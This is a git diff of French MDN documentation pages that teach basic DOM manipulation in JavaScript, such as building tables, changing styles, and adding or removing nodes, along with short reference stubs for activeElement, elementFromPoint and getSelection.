{{ languages( { "en": "en/Gecko_DOM_Reference/Preface", "es": "es/Referencia_DOM_de_Gecko/Prefacio", "ja": "ja/Gecko_DOM_Reference/Preface", "ko": "ko/Gecko_DOM_Reference/Preface", "pl": "pl/Dokumentacja_Gecko_DOM/Przedmowa", "zh-cn": "cn/Gecko_DOM_\u53c2\u8003/Preface" } ) }}

diff --git a/files/fr/web/api/document_object_model/traversing_an_html_table_with_javascript_and_dom_interfaces/index.html b/files/fr/web/api/document_object_model/traversing_an_html_table_with_javascript_and_dom_interfaces/index.html new file mode 100644 index 0000000000..9e3407a0aa --- /dev/null +++ b/files/fr/web/api/document_object_model/traversing_an_html_table_with_javascript_and_dom_interfaces/index.html @@ -0,0 +1,351 @@ +--- +title: Explorer un tableau HTML avec des interfaces DOM et JavaScript +slug: Explorer_un_tableau_HTML_avec_des_interfaces_DOM_et_JavaScript +tags: + - DOM + - Guide + - HTML + - JavaScript +translation_of: >- + Web/API/Document_Object_Model/Traversing_an_HTML_table_with_JavaScript_and_DOM_Interfaces +--- +

 

+ +

Introduction

+ +

Cet article propose une vue d'ensemble de certaines méthodes DOM Level 1 fondamentales et la façon de les utiliser depuis JavaScript. Vous y apprendrez à créer, accéder, contrôler et supprimer dynamiquement des éléments HTML. Les méthodes DOM décrites ne sont pas spécifiques au HTML et s'appliquent également au XML. Les exemples fonctionneront dans tous les navigateurs offrant le support complet du DOM niveau 1, ce qui est le cas de tous les navigateurs basés sur Mozilla comme Firefox ou Netscape. Les morceaux de code de ce document fonctionneront également dans Internet Explorer 5.

+ +
Les méthodes décrites ici font partie de la spécification Document Object Model level 1 (Core). DOM level 1 comprend des méthodes destinées à l'accès et à la manipulation des documents (DOM 1 core) ainsi que des méthodes spécifiques aux documents HTML (DOM 1 HTML).
+ +

Exemple: Création d'un tableau HTML dynamiquement (Sample1.html)

+ +

Contenu HTML

+ +
<input type="button" value="Generate a table." onclick="generate_table()">
+ +

Contenu JavaScript

+ +
function generate_table() {
+  // get the reference for the body
+  var body = document.getElementsByTagName("body")[0];
+
+  // creates a <table> element and a <tbody> element
+  var tbl = document.createElement("table");
+  var tblBody = document.createElement("tbody");
+
+  // creating all cells
+  for (var i = 0; i < 2; i++) {
+    // creates a table row
+    var row = document.createElement("tr");
+
+    for (var j = 0; j < 2; j++) {
+      // Create a <td> element and a text node, make the text
+      // node the contents of the <td>, and put the <td> at
+      // the end of the table row
+      var cell = document.createElement("td");
+      var cellText = document.createTextNode("cell in row "+i+", column "+j);
+      cell.appendChild(cellText);
+      row.appendChild(cell);
+    }
+
+    // add the row to the end of the table body
+    tblBody.appendChild(row);
+  }
+
+  // put the <tbody> in the <table>
+  tbl.appendChild(tblBody);
+  // appends <table> into <body>
+  body.appendChild(tbl);
+  // sets the border attribute of tbl to 2;
+  tbl.setAttribute("border", "2");
+}
+ +

{{ EmbedLiveSample('Overview_of_Sample1.html') }}

+ +

Remarquez l'ordre dans lequel les éléments et le nœud texte sont créés :

+ +
    +
  1. On crée d'abord l'élément <table>.
    2. +
  2. Ensuite, l'élément <tbody> qui est un enfant de l'élément <table>.
    3. +
  3. Puis, grâce à une boucle, on crée les éléments <tr>, qui sont des enfants de l'élément <tbody>.
    4. +
  4. Pour chaque élément <tr>, on emploie une boucle pour créer les éléments enfants <td>.
    5. +
  5. Enfin pour chaque élément <td>, on crée le nœud texte contenant le texte de la cellule du tableau.
    6. +
+ +

Après avoir créé les éléments <table>, <tbody>, <tr>, <td> et le nœud texte, on ajoute chaque objet à son parent dans l'ordre inverse :

+ +
    +
  1. On attache d'abord chaque nœud texte à son élément parent <td> en utilisant + 
    cell.appendChild(texte);
    +
    2. +
  2. Ensuite, on lie chaque élément <td> à son élément <tr> parent avec + 
    row.appendChild(cell);
    +
    3. +
  3. Puis chaque <tr> à son parent <tbody> avec + 
    tablebody.appendChild(row);
    +
    4. +
  4. Puis l'élément <tbody> est attaché à son élément parent <table> grace à + 
    table.appendChild(tablebody);
    +
    5. +
  5. Enfin, <table> est rattaché à <body> avec + 
    body.appendChild(table);
    +
    6. +
+ +

Souvenez-vous de cette technique, vous l'utiliserez souvent en programmant pour le DOM W3C. On crée d'abord les éléments du haut vers le bas, puis on attache les enfants aux parents dans l'ordre inverse.

+ +

Voici l'HTML généré par ce code JavaScript :

+ +
...
+<table border="2">
+<tr><td>la cellule est ligne 0 colonne 0</td><td>la cellule est ligne 0 colonne 1</td></tr>
+<tr><td>la cellule est ligne 1 colonne 0</td><td>la cellule est ligne 1 colonne 1</td></tr>
+</table>
+...
+
+ +

Voici l'arborescence objet DOM créée par le code, pour l'élément TABLE et ses enfants :

+ +

Image:sample1-tabledom.jpg

+ +

Vous pouvez construire ce tableau ainsi que ses éléments enfants internes en utilisant juste quelques méthodes DOM. Conservez à l'esprit le modèle en arbre des structures que vous comptez créer, cela rendra plus facile l'écriture du code nécessaire. Dans l'arbre <table> de la figure 1, l'élément <table> a un enfant, l'élément <tbody>, qui lui-même a deux enfants <tr>, qui à leur tour ont chacun un enfant <td>. Enfin, chacun de ces éléments <td> a un enfant, un nœud texte.

+ +

Exemple : Définition de la couleur d'arrière-plan d'un paragraphe

+ +

getElementsByTagName est à la fois une méthode de l'interface Document et de l'interface Element. Lorsqu'il est appelé, il renvoie un tableau avec tous les descendants de l'élément correspondant au nom de l'étiquette. Le premier élément de la liste se trouve à la position [0] dans le tableau.

+ +

Contenu HTML

+ +
<body>
+  <input type="button" value="Set paragraph background color" onclick="set_background()">
+  <p>hi</p>
+  <p>hello</p>
+</body>
+ +

Contenu JavaScript

+ +
function set_background() {
+  // récupère une liste de tous les éléments body (il n'y en aura qu'un),
+  // et sélectionne le premier (indice 0) de ces éléments
+  myBody = document.getElementsByTagName("body")[0];
+
+  // à présent, trouve tous les éléments p enfants de cet élément body
+  myBodyElements = myBody.getElementsByTagName("p");
+
+  // récupère le second élément de cette liste d'éléments p
+  myP = myBodyElements[1];
+  myP.style.background = "rgb(255,0,0)";
+}
+ +

{{ EmbedLiveSample('Setting_background_of_a_paragraph') }}

+ +

Dans cet exemple, on assigne à la variable myP l'objet DOM du second élément p du corps (body).

+ +
    +
  1. On récupère d'abord une liste de tous les éléments body avec + 
    myBody = document.getElementsByTagName("body")[0]
    + Puisqu'il n'existe qu'un seul élément body dans un document HTML valide, cette liste ne comporte qu'un élément, que l'on récupère en sélectionnant le premier élément de la liste grace à {{mediawiki.external(0)}}.
    2. +
  2. Ensuite, on récupère tous les éléments p qui sont des enfants de body en utilisant + 
    myBodyElements = myBody.getElementsByTagName("p");
    +
    3. +
  3. Pour finir on prend le deuxième élément de la liste des éléments p avec + 
    myP = myBodyElements[1];
    +
    4. +
+ +

Image:sample2a2.jpg

+ +

Une fois que vous avez l'objet DOM pour un élément HTML, vous pouvez modifier ses propriétés. Si par exemple vous voulez définir la propriété couleur d'arrière-plan du style, ajoutez simplement :

+ +
myP.style.background = "rgb(255,0,0)";
+// ajoute une propriété de style inline
+
+ +

Création de nœuds texte avec document.createTextNode("..")

+ +

Employez l'objet document pour appeler la méthode createTextNode et créer un nœud texte. Il suffit de lui communiquer le contenu texte, et la valeur renvoyée est un objet représentant le nœud texte.

+ +
myTextNode = document.createTextNode("world");
+ +

Ce morceau de code crée un nœud de type TEXT_NODE qui contient la donnée texte "world", et monNoeudTexte est la référence de l'objet nœud créé. Pour afficher ce texte sur votre page HTML, vous devez ensuite définir ce nœud texte comme l'enfant d'un autre élément nœud.

+ +

Insertion d'éléments avec appendChild(...)

+ +

En invoquant myP.appendChild ({{mediawiki.external('node_element')}}) , vous définissez element_nœud comme un nouvel enfant du second élément p (myP a été défini plus haut comme étant le second élément p).

+ +
myP.appendChild(noeudTexte);
+
+ +

En exécutant cet exemple, vous pouvez remarquer que les mots « hello » et « world » ne sont pas séparés : helloworld. Quand vous parcourez la page HTML les deux nœuds semblent donc n'en former qu'un seul, rappelez-vous cependant qu'ils sont bien distincts dans le modèle de document. Le second nœud est de type TEXT_NODE, et est le second enfant de la seconde balise <p>. Le schéma suivant situe ce nouvel objet dans l'arborescence du document :

+ +

Image:sample2b2.jpg

+ +
L'utilisation de createTextNode et de appendChild permet aisément d'ajouter un espace entre ces deux mots. Notez cependant que la méthode appendChild ajoute le nouvel enfant à la suite de ceux déjà présents, à la manière de « world » placé après « hello ». Pour ajouter un nœud texte entre « hello » et « world » (par exemple un espace), utilisez insertBefore à la place de appendChild.
+ +

Création de nouveaux éléments avec l'objet document et la méthode createElement(...)

+ +

Vous pouvez créer de nouveaux éléments, dont des éléments HTML, avec createElement. Pour créer un élément <p> enfant de l'élément <body>, vous pouvez vous servir de body défini dans l'exemple précédent et lui greffer un nouvel élément nœud. Pour ce faire, invoquez document.createElement("nombalise"). Voici un exemple :

+ +
nouveauNoeudBALISEP = document.createElement("p");
+body.appendChild(nouveauNoeudBALISEP);
+
+ +

Image:sample2c.jpg

+ +

Suppression de nœuds avec la méthode removeChild(...)

+ +

Tous les nœuds peuvent être supprimés. La ligne ci-dessous supprime de myP (deuxième élément <p>) le nœud texte contenant le mot « world » :

+ +
myP.removeChild(noeudTexte);
+
+ +

Vous pouvez ensuite ajouter monNoeudTexte (contenant "world") dans l'élément <p> récemment créé :

+ +
nouveauNoeudBALISEP.appendChild(noeudTexte);
+
+ +

L'arborescence des objets se présente désormais comme ceci :

+ +

Image:sample2d.jpg

+ +

Création dynamique d'un tableau (retour à Sample1.html)

+ +

Jusqu'à la fin de cet article, nous travaillons de nouveau sur Exemple1.html. Le schéma qui suit vous rappelle la structure de l'arbre des objets pour le tableau créé dans l'exemple.

+ +

Rappel de la structure arborescente d'un tableau HTML

+ +

Image:sample1-tabledom.jpg

+ +

Création et insertion des éléments dans l'arborescence

+ +

On peut décomposer la création du tableau de Exemple1.html en trois étapes :

+ +
    +
  • Récupérer l'objet body (c'est le premier élément de l'objet document).
    • +
  • Créer tous les éléments.
    • +
  • Greffer chaque enfant sur son parent en respectant la structure du tableau (cf. le schéma ci-dessus).
    • +
+ +

Le code source qui suit est un exemple commenté qui crée le tableau de Exemple1.

+ +
Il y a une ligne de code supplémentaire à la fin de la fonction start(), qui définit la propriété bordure du tableau en employant la méthode setAttribute. setAttribute utilise deux arguments : le nom de l'attribut et sa valeur, et permet de définir n'importe quelle propriété de n'importe quel élément.
+ +
<head>
+<title>Code de démonstration - Explorer un tableau HTML avec des interfaces DOM et JavaScript</title>
+<script>
+    function start() {
+        // récupère une référence vers l'élément body
+        var body = document.getElementsByTagName("body")[0];
+
+        // création des éléments <table> et <tbody>
+        table     = document.createElement("table");
+        tablebody = document.createElement("tbody");
+
+        // création des cellules
+        for(var j = 0; j < 2; j++) {
+            // création d'un élément <tr>
+            row = document.createElement("tr");
+
+            for(var i = 0; i < 2; i++) {
+                // création d'un élément <td>
+                cell = document.createElement("td");
+                // création d'un nœud texte
+                texte = document.createTextNode("la cellule est ligne " + j + ", colonne " + i);
+                // ajoute le nœud texte créé à la cellule <td>
+                cell.appendChild(texte);
+                // ajoute la cellule <td> à la ligne <tr>
+                row.appendChild(cell);
+            }
+            // ajoute la ligne <tr> à l'élément <tbody>
+            tablebody.appendChild(row);
+        }
+
+        // ajoute <tbody> à l'élément <table>
+        table.appendChild(tablebody);
+        // ajoute <table> à l'élément <body>
+        body.appendChild(table);
+        // définit l'attribut border de table à 2;
+        table.setAttribute("border", "2");
+    }
+</script>
+</head>
+<body onload="start()">
+</body>
+</html>
+
+ +

Manipulation du tableau avec DOM et CSS

+ +

Récupérer un nœud texte dans le tableau

+ +

Cet exemple présente deux nouveaux attributs DOM. D'abord, l'attribut childNodes qui est utilisé pour récupérer la liste des nœuds enfants de cel. A la différence de getElementsByTagName, la liste renvoyée par childNodes comporte tous les enfants sans considération de type. Une fois la liste obtenue, la méthode {{ mediawiki.external('x') }} est employée pour sélectionner l'élément enfant désiré. Dans cet exemple, le nœud texte de la seconde cellule de la seconde ligne du tableau est enregistré dans celtext. Ensuite, un nouveau nœud texte contenant les données de celtext est greffé en tant qu'enfant sur l'élément <body>.

+ +
Si l'objet est un nœud texte, vous pouvez récupérer le texte qu'il contient en employant l'attribut data.
+ +
mybody = document.getElementsByTagName("body")[0];
+mytable = mybody.getElementsByTagName("table")[0];
+mytablebody = mytable.getElementsByTagName("tbody")[0];
+myrow = mytablebody.getElementsByTagName("tr")[1];
+mycel = myrow.getElementsByTagName("td")[1];
+
+// premier élément du noeud liste des enfants de mycel
+myceltext=mycel.childNodes[0];
+
+//  contenu de currenttext est le contenu des données de myceltext
+currenttext=document.createTextNode(myceltext.data);
+mybody.appendChild(currenttext);
+ +

Récupérer la valeur d'un attribut

+ +

A la fin d'Exemple1, l'appel à setAttribute sur l'objet table définit la propriété border du tableau. Si vous désirez simplement récupérez la valeur de cet attribut, vous pouvez employer la méthode getAttribute :

+ +
mytable.getAttribute("border");
+ +

Cacher une colonne en changeant les propriétés de style

+ +

Une fois que vous avez l'objet dans une variable JavaScript, vous pouvez définir les propriétés directement. Le code qui suit est une version modifiée de Exemple1.html où les cellules de la seconde colonne sont cachées, et le fond de celles de la première colonne est rouge. Remarquez que la propriété de style y est définie directement.

+ +
<html>
+<body onload="start()">
+</body>
+<script>
+    function start() {
+       var body  = document.getElementsByTagName("body")[0];
+       table     = document.createElement("table");
+       tablebody = document.createElement("tbody");
+
+       for(var j = 0; j < 2; j++) {
+           row = document.createElement("tr");
+           for(var i = 0; i < 2; i++) {
+               cell = document.createElement("td");
+               text = document.createTextNode("la cellule est :" + i + j);
+               cell.appendChild(text);
+               row.appendChild(cell);
+               // change la couleur de fond de la cellule
+               // si la colonne est 0. Si la colonne est 1, cache la cellule
+               if (i == 0) {
+                   cell.style.background = "rgb(255,0,0)";
+               } else {
+                   cell.style.display = "none";
+               }
+           }
+           tablebody.appendChild(row);
+       }
+       table.appendChild(tablebody);
+       body.appendChild(table);
+    }
+</script>
+</html>
+
+ +

Original Document Information

+ +
+
Author(s)
+
Marcio Galli
+
Migrated from
+
http://web.archive.org/web/20000815054125/http://mozilla.org/docs/dom/technote/tn-dom-table/
+
+ +


+ Interwik

diff --git a/files/fr/web/api/document_object_model/using_the_w3c_dom_level_1_core/example/index.html b/files/fr/web/api/document_object_model/using_the_w3c_dom_level_1_core/example/index.html new file mode 100644 index 0000000000..a9efdf8cdb --- /dev/null +++ b/files/fr/web/api/document_object_model/using_the_w3c_dom_level_1_core/example/index.html @@ -0,0 +1,44 @@ +--- +title: Exemple +slug: Web/API/Document_object_model/Utilisation_du_DOM_Level_1_Core_du_W3C/Exemple +tags: + - API + - DOM + - Débutant + - Exemples +translation_of: Web/API/Document_object_model/Using_the_W3C_DOM_Level_1_Core/Example +--- +

 

+ +
 <html>
+ <head>
+   <title>Mon Document</title>
+   <script type="text/javascript">
+   function change() {
+     // document.getElementsByTagName("H1") renvoie une NodeList (liste de noeuds) de h1
+     // les éléments dans le document dont le premier a le numéro 0 :
+     var header = document.getElementsByTagName("H1").item(0);
+     // le firstChild (premier enfant) de l'en-tête est un noeud Texte :
+     header.firstChild.data = "Un document dynamique";
+     // maintenant l'en-tête est "Un document dynamique".
+     var para = document.getElementsByTagName("P").item(0);
+     para.firstChild.data = "C'est le premier paragraphe.";
+     // créer un nouveau noeud Texte pour le second paragraphe
+     var newText = document.createTextNode("Ceci est le second paragraphe.");
+     // créer un nouvel Element devant être le second paragraphe
+     var newElement = document.createElement("P");
+     // placer le texte dans le paragraphe
+     newElement.appendChild(newText);
+     // et placer le paragraphe à la fin du document par son ajout
+     // le BODY (corps) (qui est le parent de para)
+     para.parentNode.appendChild(newElement);
+   }
+   </script>
+ </head>
+ <body>
+   <input type="button" value="Modifier ce document." onclick="change()">
+   <h1>Header</h1>
+   <p>Paragraph</p>
+ </body>
+ </head>
+
diff --git a/files/fr/web/api/document_object_model/using_the_w3c_dom_level_1_core/index.html b/files/fr/web/api/document_object_model/using_the_w3c_dom_level_1_core/index.html new file mode 100644 index 0000000000..0f140378e6 --- /dev/null +++ b/files/fr/web/api/document_object_model/using_the_w3c_dom_level_1_core/index.html @@ -0,0 +1,92 @@ +--- +title: Utilisation du DOM Level 1 Core du W3C +slug: Web/API/Document_object_model/Utilisation_du_DOM_Level_1_Core_du_W3C +tags: + - Arbre + - DOM + - Noeud + - Texte +translation_of: Web/API/Document_object_model/Using_the_W3C_DOM_Level_1_Core +--- +

Le DOM Level 1 Core du W3C est un modèle objet puissant permettant de modifier l'arbre de contenu de documents. Il est géré dans Mozilla (sur lequel Firefox et Netscape sont basés) et (pour la plus grande partie) dans Internet Explorer 5 pour Windows. Il s'agit d'une base essentielle du scripting sur le Web dans l'avenir.

+ +

Définition d'un arbre de contenu

+ +

Beaucoup d'auteurs HTML peuvent penser qu'HTML est quelque chose de plat — un gros amas de texte avec quelques balises au milieu. Cependant, c'est aussi beaucoup plus que ça. Tout document HTML (ou, par ailleurs, tout document SGML ou XML) forme une structure arborescente. Par exemple, le document et la structure arborescente qui suivent sont similaires (bien que non identiques — consultez les notes sur les espaces dans le DOM) :

+ +
<html>
+<head>
+  <title>Mon document</title>
+</head>
+<body>
+  <h1>Titre</h1>
+  <p>Paragraphe</p>
+</body>
+</html>
+
+ +

image:Using_the_W3C_DOM_Level_1_Core-doctree.jpg

+ +

Lorsque Mozilla examine un document, un arbre de contenu est construit et ensuite utilisé pour l'affichage.

+ +

Les termes utilisés pour décrire des arbres apparaissent souvent dans le DOM Level 1 Core. Chacune des boîtes dessinées dans l'arbre ci-dessus est un nœud dans l'arbre. La ligne au dessus d'un nœud représente une relation parent-enfant : le nœud supérieur est le parent, et le nœud inférieur est l'enfant. Deux enfants du même parent sont par conséquent des frères du même niveau. De même, on peut se référer à des ancêtres et des descendants. (Parler de cousins devient un peu compliqué par contre.)

+ +

Ce que permet le DOM Level 1 Core

+ +

Le DOM Level 1 permet de modifier l'arbre du contenuselon vos désirs. Il est suffisamment puissant pour construire n'importe quel document HTML depuis rien. Il permet aux auteurs de modifier quoi que ce soit dans le document, depuis un script, à n'importe quel moment. La manière la plus simple pour les auteurs de pages Web de modifier le DOM dynamiquement est d'utiliser JavaScript. En JavaScript, le document est accessible de la même manière qu'il l'était dans les navigateurs plus anciens : depuis la propriété document de l'objet global. Cet objet document implémente l'interface Document de la spécification DOM Level 1 du W3C.

+ +

Un exemple simple

+ +

Supposons que l'auteur désire prendre le document présenté plus haut et changer le contenu du titre, ainsi qu'écrire deux paragraphes plutôt qu'un seul. Le script suivant le permettrait :

+ +

Contenu HTML

+ +
<body>
+<input type="button" value="Change this document." onclick="change()">
+<h2>Header</h2>
+<p>Paragraph</p>
+</body>
+ +

Contenu JavaScript

+ +
  function change() {
+    // document.getElementsByTagName ("H2") renvoie un NodeList du <h2>
+    // éléments dans le document, et le premier est le nombre 0:
+
+    var header = document.getElementsByTagName("H2").item(0);
+    // le firstChild de l'en-tête est un noeud texte::
+    header.firstChild.data = "A dynamic document";
+    // maintenant l'en-tête est "Un document dynamique".
+
+    var para = document.getElementsByTagName("P").item(0);
+    para.firstChild.data = "This is the first paragraph.";
+
+    // crée un nouveau noeud texte pour le second paragraphe
+    var newText = document.createTextNode("This is the second paragraph.");
+    // crée un nouvel Element pour le second paragraphe
+    var newElement = document.createElement("P");
+    // pose le texte dans le paragraphe
+    newElement.appendChild(newText);
+    // et pose le paragraphe à la fin du document en l'ajoutant
+    // au BODY (qui est le parent de para)
+    para.parentNode.appendChild(newElement);
+  }
+ +

{{ EmbedLiveSample('A_simple_example', 800, 300) }}

+ +

Vous pouvez voir ce script dans un exemple complet.

+ +

Pour en apprendre plus

+ +

Maintenant que vous êtes familiarisé avec les concepts basiques du DOM, il existe un document expliquant les méthodes fondamentales de DOM Level 1. C'est la suite de ce document.

+ +

Consultez également la spécification DOM Level 1 Core du W3C (traduction en français non normative). C'est une spécification relativement claire, même si elle est un peu formelle. Ce qui est surtout intéressant pour les auteurs, c'est la description des différents objets DOM et de toutes leurs propriétés et méthodes. Voyez encore notre documentation complète sur le DOM.

+ +
+

Informations sur le document original

+ +
    +
  • Auteur(s) : L. David Baron <dbaron at dbaron dot org>
    • +
  • Copyright : © 1998-2005 par des contributeurs individuels à mozilla.org ; le contenu est disponible sous une licence Creative Commons
    • +
+
diff --git a/files/fr/web/api/document_object_model/utilisation_du_dom_level_1_core_du_w3c/exemple/index.html b/files/fr/web/api/document_object_model/utilisation_du_dom_level_1_core_du_w3c/exemple/index.html deleted file mode 100644 index a9efdf8cdb..0000000000 --- a/files/fr/web/api/document_object_model/utilisation_du_dom_level_1_core_du_w3c/exemple/index.html +++ /dev/null @@ -1,44 +0,0 @@ ---- -title: Exemple -slug: Web/API/Document_object_model/Utilisation_du_DOM_Level_1_Core_du_W3C/Exemple -tags: - - API - - DOM - - Débutant - - Exemples -translation_of: Web/API/Document_object_model/Using_the_W3C_DOM_Level_1_Core/Example ---- -

 

- -
 <html>
- <head>
-   <title>Mon Document</title>
-   <script type="text/javascript">
-   function change() {
-     // document.getElementsByTagName("H1") renvoie une NodeList (liste de noeuds) de h1
-     // les éléments dans le document dont le premier a le numéro 0 :
-     var header = document.getElementsByTagName("H1").item(0);
-     // le firstChild (premier enfant) de l'en-tête est un noeud Texte :
-     header.firstChild.data = "Un document dynamique";
-     // maintenant l'en-tête est "Un document dynamique".
-     var para = document.getElementsByTagName("P").item(0);
-     para.firstChild.data = "C'est le premier paragraphe.";
-     // créer un nouveau noeud Texte pour le second paragraphe
-     var newText = document.createTextNode("Ceci est le second paragraphe.");
-     // créer un nouvel Element devant être le second paragraphe
-     var newElement = document.createElement("P");
-     // placer le texte dans le paragraphe
-     newElement.appendChild(newText);
-     // et placer le paragraphe à la fin du document par son ajout
-     // le BODY (corps) (qui est le parent de para)
-     para.parentNode.appendChild(newElement);
-   }
-   </script>
- </head>
- <body>
-   <input type="button" value="Modifier ce document." onclick="change()">
-   <h1>Header</h1>
-   <p>Paragraph</p>
- </body>
- </head>
-
diff --git a/files/fr/web/api/document_object_model/utilisation_du_dom_level_1_core_du_w3c/index.html b/files/fr/web/api/document_object_model/utilisation_du_dom_level_1_core_du_w3c/index.html deleted file mode 100644 index 0f140378e6..0000000000 --- a/files/fr/web/api/document_object_model/utilisation_du_dom_level_1_core_du_w3c/index.html +++ /dev/null @@ -1,92 +0,0 @@ ---- -title: Utilisation du DOM Level 1 Core du W3C -slug: Web/API/Document_object_model/Utilisation_du_DOM_Level_1_Core_du_W3C -tags: - - Arbre - - DOM - - Noeud - - Texte -translation_of: Web/API/Document_object_model/Using_the_W3C_DOM_Level_1_Core ---- -

Le DOM Level 1 Core du W3C est un modèle objet puissant permettant de modifier l'arbre de contenu de documents. Il est géré dans Mozilla (sur lequel Firefox et Netscape sont basés) et (pour la plus grande partie) dans Internet Explorer 5 pour Windows. Il s'agit d'une base essentielle du scripting sur le Web dans l'avenir.

- -

Définition d'un arbre de contenu

- -

Beaucoup d'auteurs HTML peuvent penser qu'HTML est quelque chose de plat — un gros amas de texte avec quelques balises au milieu. Cependant, c'est aussi beaucoup plus que ça. Tout document HTML (ou, par ailleurs, tout document SGML ou XML) forme une structure arborescente. Par exemple, le document et la structure arborescente qui suivent sont similaires (bien que non identiques — consultez les notes sur les espaces dans le DOM) :

- -
<html>
-<head>
-  <title>Mon document</title>
-</head>
-<body>
-  <h1>Titre</h1>
-  <p>Paragraphe</p>
-</body>
-</html>
-
- -

image:Using_the_W3C_DOM_Level_1_Core-doctree.jpg

- -

Lorsque Mozilla examine un document, un arbre de contenu est construit et ensuite utilisé pour l'affichage.

- -

Les termes utilisés pour décrire des arbres apparaissent souvent dans le DOM Level 1 Core. Chacune des boîtes dessinées dans l'arbre ci-dessus est un nœud dans l'arbre. La ligne au dessus d'un nœud représente une relation parent-enfant : le nœud supérieur est le parent, et le nœud inférieur est l'enfant. Deux enfants du même parent sont par conséquent des frères du même niveau. De même, on peut se référer à des ancêtres et des descendants. (Parler de cousins devient un peu compliqué par contre.)

- -

Ce que permet le DOM Level 1 Core

- -

Le DOM Level 1 permet de modifier l'arbre du contenuselon vos désirs. Il est suffisamment puissant pour construire n'importe quel document HTML depuis rien. Il permet aux auteurs de modifier quoi que ce soit dans le document, depuis un script, à n'importe quel moment. La manière la plus simple pour les auteurs de pages Web de modifier le DOM dynamiquement est d'utiliser JavaScript. En JavaScript, le document est accessible de la même manière qu'il l'était dans les navigateurs plus anciens : depuis la propriété document de l'objet global. Cet objet document implémente l'interface Document de la spécification DOM Level 1 du W3C.

- -

Un exemple simple

- -

Supposons que l'auteur désire prendre le document présenté plus haut et changer le contenu du titre, ainsi qu'écrire deux paragraphes plutôt qu'un seul. Le script suivant le permettrait :

- -

Contenu HTML

- -
<body>
-<input type="button" value="Change this document." onclick="change()">
-<h2>Header</h2>
-<p>Paragraph</p>
-</body>
- -

Contenu JavaScript

- -
  function change() {
-    // document.getElementsByTagName ("H2") renvoie un NodeList du <h2>
-    // éléments dans le document, et le premier est le nombre 0:
-
-    var header = document.getElementsByTagName("H2").item(0);
-    // le firstChild de l'en-tête est un noeud texte::
-    header.firstChild.data = "A dynamic document";
-    // maintenant l'en-tête est "Un document dynamique".
-
-    var para = document.getElementsByTagName("P").item(0);
-    para.firstChild.data = "This is the first paragraph.";
-
-    // crée un nouveau noeud texte pour le second paragraphe
-    var newText = document.createTextNode("This is the second paragraph.");
-    // crée un nouvel Element pour le second paragraphe
-    var newElement = document.createElement("P");
-    // pose le texte dans le paragraphe
-    newElement.appendChild(newText);
-    // et pose le paragraphe à la fin du document en l'ajoutant
-    // au BODY (qui est le parent de para)
-    para.parentNode.appendChild(newElement);
-  }
- -

{{ EmbedLiveSample('A_simple_example', 800, 300) }}

- -

Vous pouvez voir ce script dans un exemple complet.

- -

Pour en apprendre plus

- -

Maintenant que vous êtes familiarisé avec les concepts basiques du DOM, il existe un document expliquant les méthodes fondamentales de DOM Level 1. C'est la suite de ce document.

- -

Consultez également la spécification DOM Level 1 Core du W3C (traduction en français non normative). C'est une spécification relativement claire, même si elle est un peu formelle. Ce qui est surtout intéressant pour les auteurs, c'est la description des différents objets DOM et de toutes leurs propriétés et méthodes. Voyez encore notre documentation complète sur le DOM.

- -
-

Informations sur le document original

- -
    -
  • Auteur(s) : L. David Baron <dbaron at dbaron dot org>
    • -
  • Copyright : © 1998-2005 par des contributeurs individuels à mozilla.org ; le contenu est disponible sous une licence Creative Commons
    • -
-
diff --git a/files/fr/web/api/documentorshadowroot/activeelement/index.html b/files/fr/web/api/documentorshadowroot/activeelement/index.html new file mode 100644 index 0000000000..5115a1135c --- /dev/null +++ b/files/fr/web/api/documentorshadowroot/activeelement/index.html @@ -0,0 +1,25 @@ +--- +title: document.activeElement +slug: Web/API/Document/activeElement +tags: + - Référence_du_DOM_Gecko +translation_of: Web/API/DocumentOrShadowRoot/activeElement +translation_of_original: Web/API/Document/activeElement +--- +

{{ ApiRef() }}

+

Résumé

+

Renvoie l'élément qui dispose actuellement du focus.

+

{{ Note("Cet attribut fait partie de la spécification HTML 5 encore en développement.") }}

+

Syntaxe

+
var elemCourant = document.activeElement;
+
+

Exemple

+

Spécification

+ +

 

+

 

+
+  
+

{{ languages( { "en": "en/DOM/document.activeElement", "es": "es/DOM/element.activeElement", "ja": "ja/DOM/document.activeElement", "pl": "pl/DOM/document.activeElement" } ) }}

diff --git a/files/fr/web/api/documentorshadowroot/elementfrompoint/index.html b/files/fr/web/api/documentorshadowroot/elementfrompoint/index.html new file mode 100644 index 0000000000..493d7a55a1 --- /dev/null +++ b/files/fr/web/api/documentorshadowroot/elementfrompoint/index.html @@ -0,0 +1,53 @@ +--- +title: document.elementFromPoint +slug: Web/API/Document/elementFromPoint +tags: + - Référence_du_DOM_Gecko +translation_of: Web/API/DocumentOrShadowRoot/elementFromPoint +translation_of_original: Web/API/Document/elementFromPoint +--- +

{{ ApiRef() }}

+

Résumé

+

Renvoie l'élément visible au point donné, spécifié relativement au point supérieur gauche visible dans le document.

+

Syntaxe

+
element = document.elementFromPoint(x,y);
+
+

where

+
    +
  • element est un objet element.
    • +
  • x et y spécifient les coordonnées à vérifier.
    • +
+

Exemple

+
<html>
+<head>
+<title>Exemple d'utilisation d'elementFromPoint</title>
+
+<script type="text/javascript">
+
+function changeColor(newColor)
+{
+ elem = document.elementFromPoint(2, 2);
+ elem.style.color = newColor;
+}
+</script>
+</head>
+
+<body>
+<p id="para1">Un peu de texte ici</p>
+<button onclick="changeColor('blue');">bleu</button>
+<button onclick="changeColor('red');">rouge</button>
+</body>
+</html>
+
+

Notes

+

Si l'élément au point spécifié appartient à un autre document (par exemple, les sous-document d'un iframe), l'élément dans le DOM du document appelant (l'iframe lui-même) est renvoyé. Si l'élément au point donné est anonyme ou du contenu généré par XBL, comme la barre de défilement d'une boîte de texte, le premier élément parent non anonyme (par exemple, la boîte de texte) est renvoyé.

+

Si le point spécifié est en dehors de la portion visible du document ou que l'une ou l'autre des coordonnées est négative, le résultat est NULL.

+

{{ Note("Les appelants qui sont des documents XUL devraient attendre que l\'évènement onload se soit déclenché avant d\'appeler cette méthode.") }}

+

Spécification

+ +

 

+
+  
+

{{ languages( { "en": "en/DOM/document.elementFromPoint", "es": "es/DOM/document.elementFromPoint", "ja": "ja/DOM/document.elementFromPoint" } ) }}

diff --git a/files/fr/web/api/documentorshadowroot/getselection/index.html b/files/fr/web/api/documentorshadowroot/getselection/index.html new file mode 100644 index 0000000000..9352399ada --- /dev/null +++ b/files/fr/web/api/documentorshadowroot/getselection/index.html @@ -0,0 +1,15 @@ +--- +title: document.getSelection +slug: Web/API/Document/getSelection +tags: + - API + - DOM + - Méthodes + - Reference + - Selection +translation_of: Web/API/DocumentOrShadowRoot/getSelection +translation_of_original: Web/API/Document/getSelection +--- +

{{APIRef("DOM")}}

+ +
